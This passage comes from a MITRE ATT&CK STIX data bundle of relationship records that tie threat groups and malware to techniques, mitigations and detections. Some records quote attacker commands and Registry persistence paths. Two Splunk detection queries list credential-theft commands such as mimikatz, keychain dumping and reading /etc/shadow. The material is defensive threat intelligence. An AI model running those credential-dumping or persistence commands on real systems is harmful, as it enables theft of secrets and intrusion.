persistence.","source_ref":"x-mitre-data-component--5297a638-1382-4f0c-8472-0d21830bf705","target_ref":"attack-pattern--573ad264-1371-4ae0-8482-d2673b719dba","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e15a2065-49a7-435f-b9ad-b45c4906aa74","type":"relationship","created":"2021-12-06T16:10:28.318Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT TA18-074A","description":"US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.","url":"https://www.us-cert.gov/ncas/alerts/TA18-074A"}],"modified":"2021-12-06T16:10:28.318Z","description":"[Dragonfly](https://attack.mitre.org/groups/G0035) has created a directory named \"out\" in the user's %AppData% folder and copied files to it.(Citation: US-CERT TA18-074A)","relationship_type":"uses","source_ref":"intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1","target_ref":"attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e1614b27-52c5-41e5-bbcb-ab08a9a5e85c","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT HARDRAIN March 2018","description":"US-CERT. (2018, February 05). Malware Analysis Report (MAR) - 10135536-F. Retrieved June 11, 2018.","url":"https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-F.pdf"}],"modified":"2020-03-28T00:56:20.621Z","description":"[HARDRAIN](https://attack.mitre.org/software/S0246) opens the Windows Firewall to modify incoming connections.(Citation: US-CERT HARDRAIN March 2018)","relationship_type":"uses","source_ref":"malware--bd0536d7-b081-43ae-a773-cfb057c5b988","target_ref":"attack-pattern--5372c5fe-f424-4def-bcd5-d3a8e770f07b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e162ad03-8170-4353-906e-0a294695f880","type":"relationship","created":"2021-09-21T15:10:56.108Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Secureworks GOLD KINGSWOOD September 2018","url":"https://www.secureworks.com/blog/cybercriminals-increasingly-trying-to-ensnare-the-big-financial-fish","description":"CTU. (2018, September 27). Cybercriminals Increasingly Trying to Ensnare the Big Financial Fish. Retrieved September 20, 2021."}],"modified":"2021-09-21T15:10:56.108Z","description":"[SpicyOmelette](https://attack.mitre.org/software/S0646) has been signed with valid digital certificates.(Citation: Secureworks GOLD KINGSWOOD September 2018)","relationship_type":"uses","source_ref":"malware--599cd7b5-37b5-4cdd-8174-2811531ce9d0","target_ref":"attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e1684251-e7a6-462b-891e-62a1290152af","created":"2022-08-16T19:44:02.438Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"DHS CISA AA22-055A MuddyWater February 2022","description":"FBI, CISA, CNMF, NCSC-UK. (2022, February 24). Iranian Government-Sponsored Actors Conduct Cyber Operations Against Global Government and Commercial Networks. Retrieved September 27, 2022.","url":"https://www.cisa.gov/uscert/ncas/alerts/aa22-055a"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-12T15:52:47.782Z","description":"[Small Sieve](https://attack.mitre.org/software/S1035) can contact actor-controlled C2 servers by using the Telegram API over HTTPS.(Citation: DHS CISA AA22-055A MuddyWater February 2022)","relationship_type":"uses","source_ref":"malware--ff41b9b6-4c1d-407b-a7e2-835109c8dbc5","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e168a29f-c975-4ae9-8ab9-470bb03ae706","type":"relationship","created":"2020-05-14T14:27:31.203Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CrowdStrike Ryuk January 2019","url":"https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/","description":"Hanel, A. (2019, January 10). Big Game Hunting with Ryuk: Another Lucrative Targeted Ransomware. Retrieved May 12, 2020."}],"modified":"2020-05-14T14:27:31.203Z","description":"[Ryuk](https://attack.mitre.org/software/S0446) has used the Windows command line to create a Registry entry under HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run to establish persistence.(Citation: CrowdStrike Ryuk January 2019)","relationship_type":"uses","source_ref":"malware--a020a61c-423f-4195-8c46-ba1d21abba37","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e169d920-59ab-4a07-928e-858b878fd7bc","created":"2022-09-16T22:21:26.209Z","revoked":false,"external_references":[{"source_name":"McAfee Honeybee","description":"Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018.","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-16T22:21:26.209Z","description":"During [Operation Honeybee](https://attack.mitre.org/campaigns/C0006), the threat actors obtained a list of running processes on a victim machine using `cmd /c tasklist > %temp%\\temp.ini`.(Citation: McAfee Honeybee)","relationship_type":"uses","source_ref":"campaign--4553292d-12c6-4a93-934d-12160370d4e0","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e177cd6d-a6ca-4062-9dfe-e238e22c51a7","type":"relationship","created":"2020-03-11T14:17:21.278Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-07-07T12:42:39.279Z","description":"A patch management process should be implemented to check unused applications, unmaintained and/or previously vulnerable software, unnecessary features, components, files, and documentation.","relationship_type":"mitigates","source_ref":"course-of-action--e5d930e9-775a-40ad-9bdb-b941d8dfe86b","target_ref":"attack-pattern--bd369cd9-abb8-41ce-b5bb-fff23ee86c00","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e17c193a-d616-42d3-9525-940f3424c96c","created":"2023-03-22T04:37:02.631Z","revoked":false,"external_references":[{"source_name":"ESET Gamaredon June 2020","description":"Boutin, J. (2020, June 11). Gamaredon group grows its game. Retrieved June 16, 2020.","url":"https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/"},{"source_name":"Microsoft Actinium February 2022","description":"Microsoft Threat Intelligence Center. (2022, February 4). ACTINIUM targets Ukrainian organizations. Retrieved February 18, 2022.","url":"https://www.microsoft.com/security/blog/2022/02/04/actinium-targets-ukrainian-organizations/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-22T04:37:02.631Z","description":"[Gamaredon Group](https://attack.mitre.org/groups/G0047) has used obfuscated or encrypted scripts.(Citation: ESET Gamaredon June 2020)(Citation: Microsoft Actinium February 2022)","relationship_type":"uses","source_ref":"intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf","target_ref":"attack-pattern--d511a6f6-4a33-41d5-bc95-c343875d1377","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e183af2b-dab5-4877-b84e-e69e265bf7b1","created":"2022-03-30T14:26:51.840Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-15T13:38:46.950Z","description":"Monitor newly executed processes that may search for common password storage locations to obtain user credentials.\n\nAnalytic 1 - New processes with parameters indicating credential searches.\n\n index=security sourcetype IN (\"WinEventLog:Microsoft-Windows-Sysmon/Operational\", \"linux_secure\", \"macos_secure\")\n(EventCode=1 CommandLine IN (\"*mimikatz*\", \"*procdump*\", \"*gcore*\", \"*dbxutil*\", \"*security find-generic-password*\", \"*security find-internet-password*\", \"*security dump-keychain*\", \"*gsettings get org.gnome.crypto.cache*\", \"*cat /etc/shadow*\", \"*strings /etc/shadow*\", \"*ls -al ~/.ssh/known_hosts*\", \"*ssh-add -L*\"))","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e18c252b-f065-4439-aa17-aa546e75e54b","created":"2024-09-25T13:54:57.068Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"AWS RE:Inforce Threat Detection 2024","description":"Ben Fletcher and Steve de Vera. (2024, June). New tactics and techniques for proactive threat detection. Retrieved September 25, 2024.","url":"https://reinforce.awsevents.com/content/dam/reinforce/2024/slides/TDR432_New-tactics-and-techniques-for-proactive-threat-detection.pdf"},{"source_name":"Twilio SMS Pumping Fraud","description":"Twilio. (n.d.). What is SMS Pumping Fraud?. Retrieved September 25, 2024.","url":"https://www.twilio.com/docs/glossary/what-is-sms-pumping-fraud"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-16T17:45:24.914Z","description":"Monitor for excessive use of SMS services, especially on public sign-up forms. For example, alert on large quantities of messages sent to adjacent numbers. In SMS-based OTP flows, monitor for large quantities of incomplete verification cycles.(Citation: Twilio SMS Pumping Fraud) In Amazon Cognito environments, monitor for spikes in calls to the `SignUp` or `ResendConfirmationCode` API.(Citation: AWS RE:Inforce Threat Detection 2024)","relationship_type":"detects","source_ref":"x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa","target_ref":"attack-pattern--130d4494-b2d6-4040-bcea-6e59f05222fe","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e18e5899-894b-4889-b008-77b44dbc0fce","type":"relationship","created":"2019-01-31T00:25:28.215Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Nokki Oct 2018","url":"https://researchcenter.paloaltonetworks.com/2018/10/unit42-nokki-almost-ties-the-knot-with-dogcall-reaper-group-uses-new-malware-to-deploy-rat/","description":"Grunzweig, J. (2018, October 01). NOKKI Almost Ties the Knot with DOGCALL: Reaper Group Uses New Malware to Deploy RAT. Retrieved November 5, 2018."}],"modified":"2019-09-09T19:12:32.913Z","description":"(Citation: Unit 42 Nokki Oct 2018)","relationship_type":"uses","source_ref":"intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c","target_ref":"malware--a2282af0-f9dd-4373-9b92-eaf9e11e0c71","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e1910051-019d-4594-ab9d-b588eb370ff2","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT35 2018","description":"Mandiant. (2018). Mandiant M-Trends 2018. Retrieved July 9, 2018.","url":"https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf"}],"modified":"2019-09-09T19:21:42.603Z","description":"(Citation: FireEye APT35 2018)","relationship_type":"uses","source_ref":"intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13","target_ref":"tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e199c02e-a45c-4eca-ab24-7b037167c775","created":"2023-08-03T18:55:07.269Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant FIN12 Oct 2021","description":"Shilko, J., et al. (2021, October 7). FIN12: The Prolific Ransomware Intrusion Threat Actor That Has Aggressively Pursued Healthcare Targets. Retrieved June 15, 2023.","url":"https://www.mandiant.com/sites/default/files/2021-10/fin12-group-profile.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-12T14:30:20.666Z","description":"[Wizard Spider](https://attack.mitre.org/groups/G0102) has collected data from a compromised host prior to exfiltration.(Citation: Mandiant FIN12 Oct 2021)","relationship_type":"uses","source_ref":"intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e19d37dd-2cee-488b-a05e-1d298eb090cf","type":"relationship","created":"2020-07-17T17:34:21.510Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET InvisiMole June 2020","url":"https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf","description":"Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."}],"modified":"2020-08-17T14:37:44.922Z","description":"[InvisiMole](https://attack.mitre.org/software/S0260) has used scheduled tasks named MSST and \\Microsoft\\Windows\\Autochk\\Scheduled to establish persistence.(Citation: ESET InvisiMole June 2020)","relationship_type":"uses","source_ref":"malware--47afe41c-4c08-485e-b062-c3bd209a1cce","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e1a3f5df-963d-4211-931e-02ed9c567168","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east","description":"Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.","source_name":"FireEye APT34 Webinar Dec 2017"}],"modified":"2019-09-04T22:55:41.901Z","description":"(Citation: FireEye APT34 Webinar Dec 2017)","relationship_type":"uses","source_ref":"intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d","target_ref":"tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e1a70685-4492-4866-a10b-7630be265c86","created":"2020-07-15T20:23:36.544Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Prevx Carberp March 2011","description":"Giuliani, M., Allievi, A. (2011, February 28). Carberp - a modular information stealing trojan. Retrieved September 12, 2024.","url":"https://web.archive.org/web/20231227000328/http://pxnow.prevx.com/content/blog/carberp-a_modular_information_stealing_trojan.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T15:17:52.258Z","description":"[Carberp](https://attack.mitre.org/software/S0484) can capture display screenshots with the screens_dll.dll plugin.(Citation: Prevx Carberp March 2011)","relationship_type":"uses","source_ref":"malware--bbcd7a02-ef24-4171-ac94-a93540173b94","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e1a885f7-b364-4f39-a15c-37dd59b9be7e","created":"2023-08-04T18:06:05.323Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CISA AA24-038A PRC Critical Infrastructure February 2024","description":"CISA et al.. (2024, February 7). PRC State-Sponsored Actors Compromise and Maintain Persistent Access to U.S. Critical Infrastructure. Retrieved May 15, 2024.","url":"https://www.cisa.gov/sites/default/files/2024-03/aa24-038a_csa_prc_state_sponsored_actors_compromise_us_critical_infrastructure_3.pdf"},{"source_name":"Secureworks BRONZE SILHOUETTE May 2023","description":"Counter Threat Unit Research Team. (2023, May 24). Chinese Cyberespionage Group BRONZE SILHOUETTE Targets U.S. Government and Defense Organizations. Retrieved July 27, 2023.","url":"https://www.secureworks.com/blog/chinese-cyberespionage-group-bronze-silhouette-targets-us-government-and-defense-organizations"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-15T20:11:13.125Z","description":"(Citation: Secureworks BRONZE SILHOUETTE May 2023)(Citation: CISA AA24-038A PRC Critical Infrastructure February 2024)","relationship_type":"uses","source_ref":"intrusion-set--174279b4-399f-4ddb-966e-5efedd1dd5f2","target_ref":"tool--4664b683-f578-434f-919b-1c1aad2a1111","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e1a8fd78-3712-4951-8ebc-af5fe271295d","type":"relationship","created":"2020-11-06T18:40:38.286Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://blog.cobaltstrike.com/2017/01/24/scripting-matt-nelsons-mmc20-application-lateral-movement-technique/","description":"Mudge, R. (2017, January 24). Scripting Matt Nelson’s MMC20.Application Lateral Movement Technique. Retrieved November 21, 2017.","source_name":"Cobalt Strike DCOM Jan 2017"}],"modified":"2021-10-18T13:21:38.268Z","description":"[Cobalt Strike](https://attack.mitre.org/software/S0154) can deliver Beacon payloads for lateral movement by leveraging remote COM execution.(Citation: Cobalt Strike DCOM Jan 2017)","relationship_type":"uses","source_ref":"malware--a7881f21-e978-4fe4-af56-92c9416a2616","target_ref":"attack-pattern--68a0c5ed-bee2-4513-830d-5b0d650139bd","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e1ae4cbd-d6af-4dec-8b30-f9b71b8606ba","created":"2022-03-30T14:26:51.832Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-13T16:21:01.556Z","description":"Monitor executed commands and arguments that may attempt to dump the contents of /etc/passwd and /etc/shadow to enable offline password cracking.\n\nAnalytic 1 - Unexpected command execution involving /etc/passwd and /etc/shadow.\n\n index=os sourcetype=\"linux_audit\" command IN (\"cat /etc/passwd\", \"cat /etc/shadow\", \"grep /etc/passwd\", \"grep /etc/shadow\") | eval Command=command | eval TargetFile=case(match(Command, \".*passwd.*\"), \"/etc/passwd\", match(Command, \".*shadow.*\"), \"/etc/shadow\")","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--d0b4fcdb-d67d-4ed2-99ce-788b12f8c0f4","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e1b1a27e-2a62-4c73-9085-c98be89ff7ba","type":"relationship","created":"2020-02-25T19:34:15.110Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-23T23:35:58.320Z","description":"Limit remote user permissions if remote access is necessary.","relationship_type":"mitigates","source_ref":"course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317","target_ref":"attack-pattern--5b0ad6f8-6a16-4966-a4ef-d09ea6e2a9f5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e1b4887c-37ac-4470-88d5-ece2bfa6477e","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET InvisiMole June 2018","description":"Hromcová, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.","url":"https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/"}],"modified":"2020-03-17T01:34:37.980Z","description":"[InvisiMole](https://attack.mitre.org/software/S0260) uses HTTP for C2 communications.(Citation: ESET InvisiMole June 2018)","relationship_type":"uses","source_ref":"malware--47afe41c-4c08-485e-b062-c3bd209a1cce","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--e1b5c306-3f7a-4d69-b30f-450b9054679a","created":"2022-04-15T13:45:35.852Z","x_mitre_version":"0.1","external_references":[{"source_name":"Microsoft Actinium February 2022","url":"https://www.microsoft.com/security/blog/2022/02/04/actinium-targets-ukrainian-organizations/","description":"Microsoft Threat Intelligence Center. (2022, February 4). ACTINIUM targets Ukrainian organizations. Retrieved February 18, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"(Citation: Microsoft Actinium February 2022)","modified":"2022-04-15T13:45:35.852Z","relationship_type":"uses","source_ref":"intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf","target_ref":"malware--d52291b4-bb23-45a8-aef0-3dc7e986ba15","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e1ba1028-0125-4f0e-8ccd-9273deac9d18","type":"relationship","created":"2019-06-05T21:30:37.396Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye Ursnif Nov 2017","url":"https://www.fireeye.com/blog/threat-research/2017/11/ursnif-variant-malicious-tls-callback-technique.html","description":"Vaish, A. & Nemes, S. (2017, November 28). Newly Observed Ursnif Variant Employs Malicious TLS Callback Technique to Achieve Process Injection. Retrieved June 5, 2019."}],"modified":"2019-06-24T16:46:20.892Z","description":"[Ursnif](https://attack.mitre.org/software/S0386) has used process hollowing to inject into child processes.(Citation: FireEye Ursnif Nov 2017)","relationship_type":"uses","source_ref":"malware--1492d0f8-7e14-4af3-9239-bc3fe10d3407","target_ref":"attack-pattern--b200542e-e877-4395-875b-cf1a44537ca4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e1bcdc6c-771a-4606-b7f4-cdfbef5efc34","type":"relationship","created":"2021-04-05T20:52:47.305Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft DUBNIUM June 2016","url":"https://www.microsoft.com/security/blog/2016/06/09/reverse-engineering-dubnium-2/","description":"Microsoft. (2016, June 9). Reverse-engineering DUBNIUM. Retrieved March 31, 2021."}],"modified":"2021-04-22T14:35:25.539Z","description":"[Darkhotel](https://attack.mitre.org/groups/G0012) has exploited Adobe Flash vulnerability CVE-2015-8651 for execution.(Citation: Microsoft DUBNIUM June 2016)","relationship_type":"uses","source_ref":"intrusion-set--9e729a7e-0dd6-4097-95bf-db8d64911383","target_ref":"attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e1bf83d4-90ce-4773-9b44-340c69e17de8","type":"relationship","created":"2020-08-03T19:28:18.093Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Pascual, C. (2018, November 27). AutoIt-Compiled Worm Affecting Removable Media Delivers Fileless Version of BLADABINDI/njRAT Backdoor. Retrieved June 4, 2019.","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/autoit-compiled-worm-affecting-removable-media-delivers-fileless-version-of-bladabindi-njrat-backdoor/","source_name":"Trend Micro njRAT 2018"}],"modified":"2020-08-03T19:28:18.093Z","description":"[njRAT](https://attack.mitre.org/software/S0385) has used a fast flux DNS for C2 IP resolution.(Citation: Trend Micro njRAT 2018)","relationship_type":"uses","source_ref":"malware--d906e6f7-434c-44c0-b51a-ed50af8f7945","target_ref":"attack-pattern--29ba5a15-3b7b-4732-b817-65ea8f6468e6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e1c6ae29-cbe2-46f1-b415-fe39fd419a6e","type":"relationship","created":"2021-08-05T12:38:31.704Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-15T22:48:29.687Z","description":"Data loss prevention can detect and block sensitive data being copied to USB devices.","relationship_type":"mitigates","source_ref":"course-of-action--65401701-019d-44ff-b223-08d520bb0e7b","target_ref":"attack-pattern--a3e1e6c5-9c74-4fc0-a16c-a9d228c17829","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e1caf917-c15f-4388-8ca0-6cdefd01da8f","type":"relationship","created":"2021-09-07T14:30:30.941Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf","description":"Huss, D. (2016, March 1). Operation Transparent Tribe. Retrieved June 8, 2016.","source_name":"Proofpoint Operation Transparent Tribe March 2016"}],"modified":"2021-10-15T14:37:09.944Z","description":"[Crimson](https://attack.mitre.org/software/S0115) can check the Registry for the presence of HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\last_edate to determine how long it has been installed on a host.(Citation: Proofpoint Operation Transparent Tribe March 